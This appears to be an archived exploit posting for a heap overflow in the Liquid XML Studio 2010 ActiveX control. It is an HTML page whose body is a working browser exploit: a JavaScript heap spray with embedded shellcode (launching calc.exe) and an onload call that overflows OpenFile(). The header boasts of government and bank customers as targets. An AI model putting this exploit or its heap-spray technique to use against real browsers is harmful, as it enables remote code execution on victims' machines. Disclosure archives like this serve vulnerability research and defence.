Liquid XML Studio 2010 Heap Overflow

2010-03-1500:00:00
mr_me
packetstormsecurity.com
JSON
`<html>  
<!--  
|------------------------------------------------------------------|  
| __ __ |  
| _________ ________ / /___ _____ / /____ ____ _____ ___ |  
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |  
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |  
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |  
| |  
| http://www.corelan.be:8800 |  
| [email protected] |  
| |  
|-------------------------------------------------[ EIP Hunters ]--|  
  
# Liquid XML Studio 2010 <= v8.061970 - (LtXmlComHelp8.dll) OpenFile() Remote 0day Heap Overflow Exploit  
# Found by: Steven Seeley (mr_me) http://net-ninja.net/  
# Homepage: http://www.liquid-technologies.com/  
# Download: http://www.liquid-technologies.com/Download.aspx  
# Tested on: Windows XP SP3 (IE 6 & 7)  
# Greetz: Corelan Security Team  
# http://www.corelan.be:8800/index.php/security/corelan-team-members/  
# Reference: http://www.exploit-db.com/exploits/7402  
# Thanks to e.wiZz! & shinnai for the reliable js code  
# ######################################################################################################  
# Script provided 'as is', without any warranty.  
# Use for educational purposes only.  
# Do not use this code to do anything illegal !  
#  
# Note : you are not allowed to edit/modify this code.   
# If you do, Corelan cannot be held responsible for any damages this may cause.  
  
! marked safe for scripting !  
  
~~~~~~~ Liquid XML Customers ~~~~~~~  
http://www.liquid-technologies.com/Customers.aspx  
  
Liquid XML Studio is being used by thousands of organisations around the globe including many FTSE   
100 and Fortune 100 companies, as part of their business critical projects.  
  
- Australian DoD  
- US DoD   
- Federal Department of Foreign Affairs   
- NSA   
- US Army Material Command   
- Bank of America   
- American Express   
- HSBC Bank   
- Merrill Lynch   
- Microsoft Corporation  
- Cisco Systems   
- etc  
  
enough said.  
-->  
<object classid='clsid:E68E401C-7DB0-4F3A-88E1-159882468A79' id='boom' ></object>  
<script language="JavaScript" defer>   
  
//calc.exe  
var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +   
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +   
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +   
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +   
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +   
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +   
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +   
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +   
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +   
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +   
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +   
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +   
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +   
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +   
"%u652E%u6578%u9000");   
var sSlide = unescape("%u9090%u9090");   
var heapSA = 0x0c0c0c0c;   
function tryMe()   
{   
var buffSize = 10000;   
var x = unescape("%0a%0a%0a%0a");   
while (x.length<buffSize) x += x;   
x = x.substring(0,buffSize);   
boom.OpenFile(x, 1);   
}   
function getsSlide(sSlide, sSlideSize)   
{   
while (sSlide.length*2<sSlideSize)   
{   
sSlide += sSlide;   
}   
sSlide = sSlide.substring(0,sSlideSize/2);   
return (sSlide);   
}   
var heapBS = 0x400000;   
var sizeHDM = 0x5;   
var PLSize = (sCode.length * 2);   
var sSlideSize = heapBS - (PLSize + sizeHDM);   
var heapBlocks = (heapSA+heapBS)/heapBS;   
var memory = new Array();   
sSlide = getsSlide(sSlide,sSlideSize);   
for (i=0;i<heapBlocks;i++)   
{   
memory[i] = sSlide + sCode;   
}   
</script>   
<body onload="JavaScript: return tryMe();">   
<p><center>~ mr_me presents ~</p>  
<p><b>Liquid XML Studio 2010 <= v8.061970 - (LtXmlComHelp8.dll) OpenFile() Remote 0day Heap Overflow Exploit</b></center></p>   
</body>  
</html>  
`
JSON